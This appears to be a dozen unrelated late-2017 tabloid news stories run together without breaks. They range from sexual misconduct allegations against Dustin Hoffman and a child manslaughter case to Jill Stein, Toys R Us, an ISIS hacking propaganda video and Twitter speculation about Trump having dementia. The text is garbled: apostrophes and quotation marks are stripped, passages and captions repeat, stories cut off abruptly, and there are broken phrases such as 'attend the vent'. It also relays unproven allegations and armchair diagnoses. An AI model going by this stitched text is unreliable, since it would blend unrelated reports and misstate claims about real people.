Be it the nervous young college graduate snared by the rapacious older woman in The Graduate, the autistic savant in Rain Man or done up in drag and batting off the attentions of lecherous men in Tootsie, he rarely takes a role that doesnt invite audiences to root for the little guy.

'That might be part of his tragedy,' she added. 'He brings so much humanity to his work.

'But he hasnt quite got it completely his life.'

The trio are among a number of women who have accused The Graduate star of groping and abusing them.

Hoffman, 80, has yet personally to respond, although his lawyer has dismissed the allegations as defamatory falsehoods.

Rossetter, who says the Rain Man star made her life hell when they were working together in a 1983 Broadway revival of the Arthur Miller play Death Of A Salesman, revealed how his relentless sexual harassment wore away on her

Yet the stories have been piling up  and getting increasingly more damaging  since last month, when he was accused of sexually harassing then 17-year-old production assistant Hunter.

In the wake of the Harvey Weinstein scandal, and #MeToo campaign, Hunter penned an essay for the Hollywood Reporter, where she claimed that Hoffman repeatedly groped and harassed her when she was working on the Death of a Salesman movie.

She said the openly flirtatious actor consistently behaved inappropriately towards her  asking for foot massages, grabbing her buttocks and making lewd, aggressive jokes. Although she concluded that he was a predator, I was a child, she admitted she had liked him.

On NBC Nightly News on Monday, Hunter recalled one moment when she says Hoffman humiliated her by making a sexually suggestive breakfast order.

'He just stared at me and everyone burst out laughing and I backed out, went to the bathroom and cried', she said.

I am sorry, the actor, well-known for his liberal views, said at the time, insisting he had the utmost respect for women and felt terrible for anything I might have done. It was not, he added, reflective of who I am.

Since then, more women have come forward to claim they were harassed by Hoffman as well, in incidents dating back to the 1970s

No other Hollywood star has proved quite so brilliant at playing vulnerable, hugely sympathetic characters as Dustin Hoffman. Sadly, screen roles can be deceptive.

Rossetter says Hoffman would grope her back stage between scenes and wouldn't heed her demands that he stop. The two are pictured above acting in the TV movie of Death of a Salesman

The most detailed account of Hoffmans alleged sexual misconduct comes from Rossetter. She says she caught his eye when she was an inexperienced young actress auditioning for a part in a 1983 Broadway revival of the Arthur Miller play Death Of A Salesman.

She was dumbstruck to land the part of the mistress of Hoffmans character, on stage eight times a week with him. Hoffman took her to his home to meet Lisa Hoffman, his then wife and mother of their four children.

However, she says a campaign of relentless sexual harassment started three days into rehearsals when he asked her to stop at his hotel room after lunch together.

Why he needed a hotel room when he lived only a mile from the theater quickly became clear, she said, as he pulled off his shirt and requested a back rub on his bed. She initially thought he was method acting by recreating their on-stage affair but soon discovered it was the beginning of what was to become a horrific, demoralizing and abusive experience at the hands (literally) of one of my acting idols.

Rossetter, now 66, claims Hoffman would even grope her off stage between their scenes. One night in Chicago, I felt his hand up under my slip on the inside of my thighs, she says. I was completely surprised and tried to bat him away.

His hands, on occasions, went even further and she recalls how night after night she went home and cried. She says he also enjoyed groping her breasts when they posed for photos together, taking his hand away at the last minute, except on one occasion  a photo of which has now been published  when he was too slow and was caught in the act.

Hoffman is now cast as a predatory monster, submerged under a stream of sordid allegations of sexual misconduct

Thomas, pictured in her younger days, says the esteemed actor came out the shower and dropped his towel while she was in his hotel room

Making matters worse, she says, their colleagues on the production were not just turning a blind eye but actively colluding with his behavior. She recalled how in a sickening incident backstage, Hoffman once pulled her slip over her head to expose her breasts in front of a group of male crew members who, she later discovered, had been promised a surprise by the actor.

She also said Hoffmans dresser repeatedly summoned her to his dressing room to massage the stars feet, standing guard outside the door to ensure they werent disturbed.

When Rossetter explained what had happened to theater professionals, they warned her she risked ruining her career if she spoke out against such a powerful actor.

Although Hoffman has not responded directly to Miss Rossetters claims, he has produced half a dozen people in the production who questioned her account.

Thomas, a former classmate of Hoffmans daughter Karina, was only 16 when, she says, he exposed himself to her in a hotel room.

Cori Thomas (left) was just 16 when she met Dustin Hoffman (right) who she claims exposed himself to her

Miss Thomas, the daughter of the former Liberian ambassador to the UN and now a playwright, recalled how the two girls and the actor spent a pleasant day together in New York in 1980.

Karinas mother was divorced from Hoffman and he was staying in a hotel, where the trio dined before they went to his room for Thomas to wait for her parents to pick her up.

But when Karina went home to do her homework, Hoffman allegedly used the moment to expose himself to her.

She told Variety the star, who she very much admired at the time, had taken a shower while she waited.

He came out of the bathroom with a towel at first wrapped around him, which he dropped, she told Variety. He was standing there naked. I think I almost collapsed. It was the first time I had ever seen a naked man. I was mortified. I didnt know what to do.

Hoffman, she claims, milked her extreme discomfort. She claimed the actor, then 42, eventually put on a bathrobe, sat on his bed and asked her to massage his feet.

Thomas, then an aspiring actress whod idolized the actor, said she felt disgusted, but too intimidated to refuse.

Another alleged victim, who used the pseudonym Carolyn, says she was a 21-year-old tour guide in Washington in 1975 when Hoffman, in town to film the Watergate thriller All The Presidents Men, asked her to spend the evening with him

As she complied, Hoffman even rang another woman and boasted to her that Ive got a pretty girl massaging my feet, it is claimed.

She was saved by the arrival of her mother, who was suspicious about her daughter being alone with Hoffman in his room.

In any case, nothing was done until seven years later when Thomas confided to friends.

A slew of other women have also come forward to accuse Hoffman of sexual assault and harassment.

Melissa Kester, was 20 when she says she was sexually assaulted by Hoffman in a recording booth, while her oblivious boyfriend was just a few feet away on the other side of the glass, while they were working on the musical soundtrack for the 1987 comedy adventure film Ishtar.

He literally just stuck his fingers down my pants. I just stood there. I just froze in the situation like Oh my god, what is happening?'

Desperate not to react for fear of alerting her boyfriend, she eventually managed to move away.

Cori Thomas, a former classmate of Hoffmans daughter Karina, was only 16 when, she says, he exposed himself to her in a hotel room

He kind of laughed. Then I just ran out of there, and I sat in the bathroom crying. I thought, Oh my God. I felt like Id been raped.

Wendy Riss Gatsiounis, a TV writer and producer, claimed that, when she was in her 20s, Hoffman rejected her script when she refused to go to a hotel with him. She said the experience was a source of torment and added: He had been my hero.

An anonymous accuser, then 22, claims she was assaulted in the same way by Hoffman in the back of car, after she accepted a lift home with him and several colleagues.

The woman says Hoffman then gave her $20 and asked her to join him at his flat. When she arrived, they had sex  an encounter which, given the fugue state in which he had put her, she says was not fully consensual.

A woman identified only as Pauline told the Hollywood Reporter magazine that she was just 15 and Hoffman aged 36 when he lured her to his New York home in 1973. The bait was to see his pet puppy, she says.

When they got there, he allegedly asked her: Do you want to see something else?, unzipped his trousers and exposed himself. I didnt know what to say, what to do, she said. She claims Hoffman told her: Ill be finished soon and later walked her to a taxi. I was just crying, it was so embarrassing, she says.

Another alleged victim, Carolyn, says she was a 21-year-old tour guide in Washington D.C. in 1975 when she met Hoffman, in town to film the Watergate thriller All The Presidents Men.

She claims she agreed to go to his hotel room, but when she went to leave, he allegedly told her: Go home? You dont think youre getting out of here without having sex, do you?

She claims Hoffman blocked the doorway and insisted she choose between two sex acts. Afterwards, he offered her $20 for a taxi home, later calling her mother asking to take her out for dinner.
A mother who killed her four-year-old son was caught out by police after sending a string of text messages to her brother as investigators closed in on her.

Heidi Strbak, 34, was sentenced to nine years' jail after the Brisbane Supreme Court found her guilty of her son's manslaughter on Monday.

Her son Tyrell Cobb, four, died in 2009 after two blows to his abdomen caused internal bleeding and the leaking of his stomach contents, leading to peritonitis.

'I'm just concerned that if they think I lied,' Strbak wrote to her brother in a text message shown to the court, the Courier Mail reported.

Strbak pleaded guilty to the manslaughter of her four-year-old son but denied inflicting the fatal blunt force trauma. She was reportedly caught out by police after sending a string of text messages to her brother as investigators closed in on her

Tyrell was found unconscious at a Biggera Waters home on May 24, 2009 and was pronounced dead in hospital. He died after two blows to his abdomen caused internal bleeding and the leaking of his stomach contents

Details revealed in her Supreme Court bail file showed Strbak was concerned police would learn she had left Tyrell with her partner Matthew Scown on the night he died.

Strbak, who used cannabis on a 'daily basis', had gone to buy the drug and left Tyrell alone. She had earlier denied that was the case.

'Im just concerned that if they think I lied ... that thed (sic) wonder if id be lieing (sic) about other things, which im not,' she texted her brother.

'I just don't want it to be a bad reflection of my parenting cause I no (sic) im not a bad mum and that I did everyting (sic) I could for tyrell he was the best little boy ever.'

Her brother replied with: 'You've lied half your life ... you know how to lie.'

Strbak pleaded guilty to her son's manslaughter in November but denied inflicting the fatal blunt force trauma.

On Monday, Justice Peter Applegarth found Strbak was the perpetrator of Tyrell's abuse and did not seek medical help to avoid a child protection investigation into his 'constellation of injuries'.

Tyrell's mother Heidi Strbak (left) was found guilty of manslaughter but will be able to apply for parole in under four years. The boy's stepdad Matthew Scown (right), was also found guilty of manslaughter but was released after two years and eight months in custody

Justice Peter Applegarth (pictured) found Strbak was primarily to blame for Tyrell's injuries and his lack of medical care. But child protection activists have slammed his sentencing

Gold Coast mother Heidi Strbak was sentenced to nine years' jail for the manslaughter of her four-year-old son Tyrell Cobb on Monday

Strbak, who silently sobbed throughout the hearing, had told the court it was an 'injustice' she was being blamed for the fatal injuries to her son.

'I have not caused the injuries that I am being blamed for and I believe that it is a mistake,' she said on Monday.

Defence barrister Greg McGuire had argued Strbak had been made 'public enemy number one' by negative publicity.

Justice Applegarth said it was easy for a legitimately concerned public to perceive Strbak as being 'some kind of monster' but the tragic fact was her case was only 'the tip of an iceberg of child abuse'.

'It's very easy to see her as a one in a million when we have a big problem in this community with the care of infants and young children,' he said.

'The tragic fact is that there are tens of thousands of young mothers who can be frustrated and distressed and verbally abuse their infants or physically abuse them.

'Unless we as a community learn from this case, it's inevitable there will be another case like it.'

'Manslaughter or murder is irrelevant. It's child killer': Child protection activists have slammed a judge for his sentencing in the manslaughter of four-year-old Tyrell Cobb (pictured)

Tyrell was found unconscious at a Biggera Waters home on May 24, 2009 and was pronounced dead in hospital.

A pathologist found more than 70 injuries on his body and said he suffered internal bleeding and a severe abdominal injury in Strbak's original bail hearing.

Child protection activists slammed the judge's decision to allow Strbak to walk free from jail in just four years on parole, after she was sentenced to nine years behind bars.

Poll Should child killers be jailed for life? Yes No Should child killers be jailed for life? Yes 702 votes

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'Anybody that kills a child either by virtue of their own hand or as a bystander should get life,' children's charity Bravehearts founder Hetty Johnston told the Courier Mail.

'Manslaughter or murder is irrelevant. It's child killer.'

Tyrell's stepdad Matthew Scown sparked national outrage earlier this year when he laughed outside court after being slapped with a suspended jail sentence.

While Scown did not cause the injuries, he did not contact authorities or seek medical help - even when Tyrell was vomiting green bile the night before his death.

He was handed four years jail for the manslaughter of his stepson, but was released as he had already spent two years and eight months in custody.

Criminologist Terry Goldsworthy said it was time for the justice system to 'catch up with reality'.

'It seems like we are more concerned about one-punch killers and domestic violence than we are about these child killers,' he told the Courier Mail.

Family and friends of Heidi Strbak are seen arriving at the Brisbane Supreme Court on Monday
The Senate Intelligence Committee's Russia probe took a new turn Monday as it was revealed the panel has requested documents from Green Party Presidential Candidate Jill Stein.

Stein's former communications director Dennis Trainor Jr. told Buzzfeed the Senate panel had reached out to her with the request, BuzzFeed reported.

Stein's failed presidential campaign got just over a million votes, although her total did exceed President Trump's margin in key battlegrounds Wisconsin and Michigan.

She also turned up in one of the most mysterious events and enduring images of the Russia story  attending a 2015 dinner in Moscow that fired White House national security director Mike Flynn also attended.

Green Party presidential candidate Jill Stein has been asked to turn over documents to the Senate Intelligence Committee

Flynn, who has plead guilty to lying to the FBI, was got paid $45,000 to attend the vent honoring the anniversary of Russian TV outlet RT, and was seated next to Russian President Vladimir Putin.

Stein was seated at the other side of the table, next to Putin confidante and spokesman Dmitri Peskov.

Stein downplayed her appearance at the dinner, discounting 'the mythology that this was an intimate dinner' in an interview with the Intercept.

She said she didn't know Putin or Flynn would be at the table, and that she didn't get paid.

In this file photo taken on Thursday, Dec. 10, 2015, Russian President Vladimir Putin, center right, with retired U.S. Lt. Gen. Michael T. Flynn, center left, and Serbian filmmaker Emir Kusturica, obscured second right, attend an exhibition marking the 10th anniversary of RT (Russia Today) 24-hour English-language TV news channel in Moscow, Russia. Jill Stein was seated next to Kremlin spokesman Dmitry Peskov

Stein attended a 2015 dinner in Moscow also attended by fired national security advisor Mike Flynn, who pleaded guilty to lying to the FBI

Green Party presidential candidate Jill Stein has been asked to turn over documents to the Senate Intelligence Committee

Putin and company 'stormed in' and 'really weren't at the table for very long,' she recalled.

'Nobody met anybody. I didn't hear any words exchanged between English speakers and Russians,' she said.

Some Democrats blame Stein for contributing to Hillary Clinton's loss to Trump, even as she drew far fewer votes than Ralph Nader did in the 2000 election, who got nearly 3 million votes, contributing Al Gore's loss.

Trainor, who worked for Stein in 2015, said his cell phone was a point of contact for TV producers during the campaign, and that he got calls from producers for the Kremlin-funded RT. Stein participated in several appearances.

He said he was willing to comply with the search for documents but wanted to speak to his lawyer first.

Stein in June of 2017 tweeted there was 'nothing to' what she called a 'desperate Russia smear' and referencing a Mother Jones article about the dinner.
Rivalry between Great British Bake Off stars past and present knows no bounds. Prue Leith, a judge on the Channel 4 show, posted pictures online at the weekend of her with fellow judge Paul Hollywood and co-hosts Noel Fielding and Sandi Toksvig enjoying a Christmas lunch.

At the same time, however, the show's original hosts Sue Perkins and Mel Giedroyc were busy with some merriment of their own.

Joining comedian Miranda Hart and stars from her eponymous BBC series, they had a Christmas pyjama party that at one point involved Sue, 48, twerking  dancing provocatively in a squatting stance  next to TV star Emma Kennedy dressed as an elf.

Now, guess which party was more fun. . .

Sue Perkins (left) was pictured twerking next to television star Emma Kennedy (right) during a festive party

They had joined Miranda Hart (pictured) for their Christmas party and images were posted online

Prue Leith, Paul Hollywood and co-hosts Noel Fielding and Sandi Toksvig enjoyed a Christmas lunch together

The fringe benefits of Lily's pampered look

All eyes were on film star Lily James when she went on a date at the weekend with boyfriend Matt Smith, 37, to see Cinderella at Sadler's Wells in London.

The 28-year-old, who was not in the show herself but played the lead role in the 2015 Disney live action remake, was the centre of attention thanks to her striking new fringe.

Having changed her hair countless times for different roles in the past, she admits she now has to take special measures to look after her mane.

'My hair is naturally really dark, so it's pretty damaged from dyeing it blonde so often.

'To give it a bit of pampering, I drench it in oil and sleep with it on overnight.'

Lily James, 28, when she went on a date at the weekend with boyfriend Matt Smith, 37, (pictured)

Victoria Beckham admits she's so work-obsessed that, despite it causing much irritation to husband David, at home she sneaks to the loo to send emails. Now, the fashion designer, 43, is planning to turn over a new leaf. 'The one thing I should do is have a New Year's resolution that when it gets to 6pm I'm going to turn my phone off,' she says. 'Or I'm going to put it on silent or in the other room and then pick it up again at 8am the next day.'

Ronnie Wood's cuties are in for a crafty Christmas

An unlikely Christmas tradition has begun in the house of rock star Ronnie Wood.

The 70-year-old Rolling Stone became a father for the fifth and sixth time last year when his wife Sally Humphreys gave birth to twins, Alice and Gracie, and the couple have taken to dressing up the little ones in adorable festive attire.

Exactly one year since Sally, 39, crafted papier-mache Christmas pudding outfits for the girls, she has posted this snap online of one of her daughters being fitted into the body of a snowman suit made from plastic cups, while her sister lends a helping hand. In later photos, Sally also showed off matching headwear.

Whatever will they come up with next year?
A photo of a blue Wiggles figurine holding a long, thin, skin coloured object between his legs has sent social media into a frenzy.

The toy version of the franchise's longest-standing member, Anthony, was photographed grasping its 'drumstick' atop of a large stack of toys in a New South Wales department store.

The image was shared widely after it was uploaded to Brown Cardigan's Instagram with the tagline: 'Give it a Wiggle.'

A photo of a blue Wiggle figurine holding a long, thin, skin coloured object between its legs sent social media into a frenzy after being shared online on Thursday

The beige stick was one of two being held by the toy, with the other hidden inside the cardboard box for the purpose of the photo.

Nano Martinez was at Newcastle's Frontline Hobbies when he sought the perfect opportunity for a comical photoshoot at the expense of the iconic character.

'I just couldn't help myself, I think the stick itself already looked a bit suspect,' he told Daily Mail Australia.

Mr Martinez said he and his mates had a good laugh at their handiwork, took some photos and then replaced the doll to its original PG-rated position.

The toy version of the franchise's longest standing member, Anthony, was photographed grasping its 'drumstick'

'Boys will be boys,' he said.

'I took the picture and placed it back to his old kid-friendly self.'

Plenty of people joined in on the fun online, offering their own spin on the figure's compromising stature.

'Now THAT'S how to wake up Jeff,' one commenter wrote.

Plenty of people joined in on the fun online, offering their own spin on the figure's compromising stature

'This can't be real,' another added, while someone else said they were 'glad it's 18 months plus.'

The box welcomed people to press the figurine's belly to test it out, with it stating: 'Squeeze belly to hear sounds'.

'Squeeze and play Anthony,' was also written along the base of the box.
Don Trump Jr and Ted Cruz have been slammed after posing with a giant birthday cookie decorated with the face of former President Barack Obama.

President Trump's eldest son and the senator from Texas posed with the cookie on Sunday night in Dallas restaurant Le Bilboquet, where they were celebrating a mutual friend's birthday party.

Some pranksters among the group decided to present Don Jr with the cookie for his own upcoming birthday.

'With friends like these... some good friends decided that while my birthday is not for 2 weeks that they would get me an early 40th birthday cake,' Don Jr wrote on Instagram, where he posted pictures of the cookie.

Ted Cruz (left) and Don Trump Jr (right) have been slammed after posing with a giant birthday cookie decorated with the face of former President Barack Obama

Some prankster friends decided to present Don Jr with the cookie for his upcoming birthday

'With friends like these... some good friends decided that while my birthday is not for 2 weeks that they would get me an early 40th birthday cake,' Don Jr wrote on Instagram

The cookie appears to crudely imitate this poster (right) that became famous during the 2008 presidential campaign. The photo that the poster is said to be based on is seen left

'And what birthday is complete without an Obama cake? I figured it was so good that I would have to share it with Ted,' the president's son continued.

The cookie appears to be a frosting version of the famous Shepard Fairey 'Hope' poster of Obama's face, made famous during his 2008 presidential run.

But critics pounced swiftly and furiously, with one Twitter user writing: 'Wow. Looks like college kids doing racist minstrel show on cake of Obama. Muthaf***ers are just racist man.'

According to another observer, the 'cake distorts obama's features in a racist caricature-like manner'.

The incident took place Sunday night at this Dallas restaurant, whose owner has apologized

One Twitter user even called for Cruz's resignation, saying he 'must step down for posing with racist cookie... this is exactly what they used to do with caricatures'.

In the face of the backlash, the owner of the restaurant where the photo was taken issued a lengthy apology on Monday.

'We at Le Bilboquet feel betrayed and sad,' wrote Stephan Courseau on Instagram, noting that he had not been present at the private event.

'The fact that guests decided to use our restaurant as a platform to promote, disrespect, and spread hatred goes against everything we stand for,' he continued.

'On a personal note, I am French and my wife is Mexican,' Courseau said. 'I am truly sorry that such distasteful events happened at our venue and that these circumstances brought me to write this statement today.'
A 24-year-old driver is in a critical condition in hospital after he was pulled over by an elite police strike force squad searching for illegal guns in Sydney's southwest and suddenly became ill.

Abdullah Hawchar was arrested yesterday as a part of a sting from Strike Force Raptor, a unit that has been decimating the bikie and Middle Eastern organised crime community.

Police on Tuesday had not ruled out the possibility the man swallowed something that made him ill as he was pulled over.

Abdullah Hawchar was arrested yesterday as a part of a sting from Strike Force Raptor, a unit that has been decimating the bikie and Middle Eastern organised crime community

Hawchar was pulled over on Cornelia Street in Campsie at around 6am on Monday morning with the unit acting on behalf of firearms prohibitions orders.

The man told Strike Force Raptor officers he was feeling unwell as they searched his vehicle in Campsie early on Monday and he was rushed to Canterbury Hospital.

He's since been transferred to Royal Prince Alfred Hosptial where AAP understands he is fighting for life.

A critical incident police investigation is underway following the man's mysterious and rapid decline.

'At this stage what we know is after the vehicle stop he started saying he wasn't feeling well and prior to that he was normal,' a NSW Police spokesman told AAP on Tuesday.

Hawchar was arrested at Sydney Airport last year while trying to leave the country.

He has links to Wallid Ahmad who was murdered execution-style outside a western Sydney shopping centre.

Abdullah is the youngest of the three Hawchar brothers. He, Mohammad, 27, and Ahmed, 26, all have firearm convictions.
Home Secretary Amber Rudd (pictured) is set to consider plans to create new laws to protect people in public life

Amber Rudd is to look at plans to create new laws to protect people in public life.

The Home Secretary told the Commons last night she would consider any recommendations made by the Committee on Standards in Public Life. She said there was 'a lot for us to do', and added one potential solution was additional legislation.

Shadow home secretary Diane Abbott said social media companies should face 'punitive' fines for failing to react quickly to material that incites hatred and violence.

She added that mainstream media also has a role to play but warned against fresh legislation, saying there are already laws against abuse which must be 'properly enforced'.

Miss Abbott said social media has facilitated the volume of abuse. Miss Rudd said the internet is mostly a 'force for good' but can be a 'frightening and toxic place', with abuse, misogyny and racism.

Former Labour deputy leader Harriet Harman attacked two newspapers over their coverage of Brexit. She accused the Daily Mail and Daily Telegraph of being part of a 'toxic triangle' of abuse.

A number of Tory MPs who rebelled over Brexit have claimed they received abuse after being featured prominently on the papers' front pages. Miss Rudd said all media must take care with language, but the real issue is with individuals launching attacks online.

A Daily Mail spokesman said: 'No one has been more outspoken than the Daily Mail in condemning the viciousness of social media, and in particular the threats and abuse directed at politicians of all parties.

Former Labour deputy leader Harriet Harman attacked two newspapers over their coverage of Brexit

'The Mail itself, its editor, commentators and columnists also regularly receive violent abuse on social media. As a paper with strong, passionate views we have learned to live with it.

'However we support Amber Rudd and the Government in their efforts to find ways of tackling this menace. What must never happen is that it is used as an excuse to prevent proper and trenchant debate on the great political issues of the day, including Brexit.

'For the record, all the serious national newspapers, including the pro-Remain Times and Guardian, named the 11 Tory MPs who voted against the Government over Brexit.'
Children's retailer Toys R Us is today on the brink of collapse  putting 3,200 jobs at risk just a week before Christmas.

The troubled company, which has faced an onslaught from online rivals such as Amazon, is struggling to raise the 9million it needs to secure its future.

The crisis could see Toys R Us name disappear from the UK high street, with the closure of 105 stores and loss of 3,200 jobs.

Industry experts said the timing was awful for employees, adding that the high street should be prepared for even bigger job losses next year as shoppers flock to the internet.

Sources said the chain has had its hands tied by the Pension Protection Fund (PPF), the UK's pension lifeboat for failed companies, which is demanding the 9million payment which Toys R Us cannot afford.

Toys R Us is struggling to raise the 9million it needs to secure its future (stock photo) and could go bust before Christmas

The PPF said Toys R Us must agree to the payment, which is equivalent to four years' employer pension contributions, or it will refuse to vote in favour of a process called a Company Voluntary Agreement (CVA).

The CVA would allow Toys R Us to close 26 of its 105 stores and deliver millions of pounds in savings  giving it a chance of survival.

But Toys R Us must secure the approval of its creditors, landlords and the PPF at a meeting on Thursday to trigger the CVA.

Concerns over an 18.4million black hole in the retailer's pension scheme have been a major sticking point.

The PPF stressed that talks will continue with Toys R Us until Thursday's CVA final vote in the hope of reaching an agreement on the funding.

Malcolm Weir, director of restructuring and insolvency at the PPF, said: 'We can confirm that the PPF has today submitted its proxy vote on the proposed Toys R Us CVA by the required deadline. We have indicated we intend to vote against the proposals.'

He added: 'Given the position of the company, we strongly believe seeking assurances for the pension scheme is reasonable given the deficit in the scheme and questions about the overall position of the company.

'We remain in dialogue with the company and their advisers and we are able to amend our vote if suitable assurances provided.'

Toys R Us has come under further scrutiny after it emerged that it wrote off a 548.5million loan to a subsidiary based in the British Virgin Islands (stock photo)

Toys R Us has come under further scrutiny after it emerged that it wrote off a 548.5million loan to a subsidiary based in the British Virgin Islands.

A letter sent to MPs by trustees of the company's pension scheme revealed that it was completely in the dark over the loan.

Labour MP Frank Field, chairman of the Work and Pensions Committee, compared the incident to the collapse of Sir Philip Green's department store chain BHS last year which led to the loss of 11,000 jobs.

'The company's glib assurance to the scheme that the write-off had no impact on the direct covenant provided to the scheme is clearly disingenuous. The impact is indirect and yet to be ascertained  it could be substantial,' he said.

'As with BHS, the trustees and pensions regulator were kept entirely in the dark.

'The pension scheme is, at best, an inconvenient afterthought to self-interested corporate restructure. The puny regulatory system only kicks in once the damage is done.'

Toys R Us became a favourite among British families in the 1980s and 1990s, but its vast warehouse-style stores are now deemed too large to be profitable. The business has struggled against the backdrop of a sluggish high street which is increasingly losing customers to online retailers like Amazon.

Retail analyst Richard Hyman said: 'The timing is awful but frankly the timing is never good. 2017 has been a year of very significant job losses in retail and 2018 promises to be, if anything, much worse. I fear that this is the shape of things to come; costs are rising and sales are pretty much static among many retailers.

'What we're seeing is bigger gaps emerge between the strong and the more vulnerable. The more vulnerable have managed to keep the wolf from the door for some time but that was in a more benign trading climate. Retail is now in a corner and that corner is tightening.'

The retailer was plunged into turmoil earlier this year when its US parent company filed for Chapter 11 bankruptcy protection after revealing it had 3.7bn worth of debt. At the time the US arm claimed the incident would have no impact on its UK operations.

According to its latest financial results, Toys R Us UK made a turnover of 418million and loss of 0.5million in the year to January. It is understood that the store has been loss-making in seven out of the last eight financial years.
ISIS has claimed it has hacked the US Army and State Department and is sending assassins to employees homes in a gruesome new propaganda video.

The video released by ISIS hacking group Islamic Ghosts of the Caliphate also declares: Muslims will return to being masters of the world and kings of the earth.

It starts with disturbing images of maimed or killed Syrian and Iraqi children while a voice says in Arabic: The Islamic State did not start the war against you and you will pay a great price as your sons will return to you as amputees or in coffins.

ISIS has claimed it has hacked the US Army and State Department and is sending assassins to employees homes in a gruesome new propaganda video

The video released by ISIS hacking group Islamic Ghosts of the Caliphate also declares: Muslims will return to being masters of the world and kings of the earth.

As scenes of war, bombings and terror attacks flash up, the voice continues: You will pay a price as you walk along your streets fearing Muslims. We will attack your homeland - you will not even feel secure in your bedrooms.

The video then brings up a message in English and Arabic reading: We were able to hack sensitive sites of the US Army, the Interior Ministry, the State Department, and other government sites, and we were able to get thousands of your confidential information.

It continues: We have sent the information to our lone wolves to assassinate you and to increase frequent jihadist operations against you.

The video then shows a series of American websites with the names and addresses of employees which the group claims to have gained after hacking the sites.

The examples of hacked websites shown in the video are not from the State Department or US Army but other lower-security sites including the Geological Society of Nevada and the National Caves Association.

It starts with disturbing images of maimed or killed Syrian and Iraqi children while a voice says in Arabic: The Islamic State did not start the war against you and you will pay a great price as your sons will return to you as amputees or in coffins

As scenes of war, bombings and terror attacks flash up, the voice continues: You will pay a price as you walk along your streets fearing Muslims. We will attack your homeland - you will not even feel secure in your bedrooms'

The video then brings up a message in English and Arabic reading: We were able to hack sensitive sites of the US Army, the Interior Ministry, the State Department, and other government sites, and we were able to get thousands of your confidential information

The examples of hacked websites shown in the video are not from the State Department or US Army but other lower-security sites including the Geological Society of Nevada and the National Caves Association

Raphael Gluck of monitoring group JihadoScope told MailOnline: Its hard to tell how much of a threat this poses.

Their tactic seems to be to say: Here's some info we have, its just a sample of the info we have hacked and we have sent our lone wolves to the addresses we have gained. Theyre trying to sow the seeds of fear.

It comes after the hacking group threatened a wave of global cyber attacks starting in the US. At the end of the video, the group declares their next target for hacking will be Russia.
Girls school bursaries for poor families are going unclaimed because parents fear their daughters will not fit in, according to a top headmistress.

Gwen Byrom, incoming president of the Girls Schools Association which represents private female-only schools, said many free places went unfilled.

She said she suspected some disadvantaged families did not apply because they felt their children would feel out of their depth in a private school.

Gwen Byrom, incoming president of the Girls Schools Association, said many free places at private schools went unfilled. She said she suspected some disadvantaged families did not apply because they felt their daughters would feel out of their depth

It means money set aside for the poorest pupils goes instead to middle-class families, who are less afraid to apply.

Private schools offer full bursaries for the worst-off and lower levels of financial assistance for those who can afford some fees.

If full bursaries go unfilled, the money is diverted to part bursaries. Mrs Byrom, who attended a comprehensive school, said she knew what it was like to be afraid of interacting with those who may be more privileged.

She said: Why dont more families come forward? There are social and psychological hurdles to applying to an independent school if that is not part of your background. There is a lot of social and cultural capital that is tied up with it.

It has meant that money set aside for the poorest pupils goes instead to middle-class families, who are less afraid to apply

Choice for school is sometimes reliant on knowing that there are people like you at the school. So families will go to something that, effectively, is within their comfort zone.

University entry 'rigged' University admissions are rigged against poor students because they are more likely to be predicted unduly low grades, a report claims. The Sutton Trust says this means they can end up applying for degree courses with entry requirements of grades lower than they are capable of achieving. And the charity claimed disadvantaged students were less likely to be helped with personal statements. The study by Dr Gill Wyness of University College London found that, according to last years figures, the most advantaged applicants were six times more likely to go to a top university than the most disadvantaged. Sutton Trust chairman Sir Peter Lampl called for an overhaul of the system. Advertisement

It is very hard to take a leap into the unknown  particularly if its a situation where you feel you are going to feel out of your depth. Parents wouldnt want to put their children in an uncomfortable position.

Private schools are under pressure to show they are doing more to help poor students.

MPs have called for them to offer more bursaries, which can be worth up to 40,000 a year.

She said most independent school leaders would be in favour of more 100 per cent bursaries for the poorest, but it would not mean parents would fall over themselves to apply.

Mrs Byrom  headmistress of fee-paying Loughborough High School in the East Midlands  said that independent schools were just normal schools but had an image of being elite.

She said it was easy to criticise private schools but many led a hand to mouth existence.

Earlier this month Tory MP Robert Halfon, chairman of the Commons education committee, said private schools should be forced to pay a levy that would be fed into providing more bursary places.
Donald Trump has sparked dementia concerns after he was spotted drinking water with two hands like a small child - days after he slurred his words during an Israel policy speech.

Twitter went into meltdown on Monday after the president took the awkward swig of water while unveiling his new national security strategy in front of military service members in Washington, D.C.

While some suggested he was cradling the glass or 'president sippy cup' because of his 'tiny hands', Twitter was quick to play amateur diagnostician and raised concerns the movement could be evidence of a serious degenerative disorder, such as dementia, which can cause shaky hands.

Donald Trump has sparked dementia concerns after he was spotted drinking water with two hands like a small child

Sandra F Woodward wrote that Trump 'holds that water glass like my 3 year old grandson holds his cup! I really think Trump has dementia and is reverting 2 childhood action.'

'THE WAY HE IS GRABBING THAT GLASS SHOWS TRUMP HAS DEMENTIA. HIS MOTOR SKILLS ARE DEGENERATING,' added Joseph Fedorko.

It's not the first time Trump has been seen drinking strangely.

In November, he picked up a bottle of Fiji water in both hands and sipped it awkwardly during a press conference at the White House.

And earlier this month, speculation went wild after Trump began slurring through part of his speech announcing changes to America's Israel policy.

He finished his remarks by saying 'God bless the United Shhtates. Thank you very much-sh.'

Conspiracy theorists on Twitter launched into high gear, including Democratic partisans who speculated about every possible cause from a mini-stroke to cocaine use.

TV host Joe Scarborough also weighed in, saying 'people close to him during the campaign told me [he] had early stages of dementia'.

A White House spokesman insisted the president merely had a case of 'dry mouth,' telling the Los Angeles Times that 'his throat was dry. There's nothing to it.'

Asked if Trump had any related health concerns, Shah said: 'I know what you're getting at. I'm saying there's nothing to it.'

But brain doctor Dr Ford Vox - who has never examined Trump - believes the incident and other moments in his presidency, reveals that Trump has all the symptoms of predementia.

In a lengthy analysis for Stat News, he also pointed to times when Trump has contradicted himself, rambles in interviews, makes faces, and forgets to sign bills at bill-signing ceremonies as 'worrisome symptoms' of illness.

In an attempt to regain control of the runaway story, press secretary Sarah Huckabee Sanders announced that Trump will undergo a physical examination early next year, with the findings released to the public.

LET IT FLOW: In November, he picked up a bottle of Fiji water in both hands and sipped it awkwardly during a press conference at the White House

Now, Monday's speech has reignited the rumors over Trump's health.

Twitter was awash with conspiracy theories within minutes of the 71-year-old's speech in Washington, where he told the servicemen and women: 'On January 20, 2017, I stood on the steps of the capital to herald the day the people became rulers of their nation again,' - before pausing to take a sip of water.

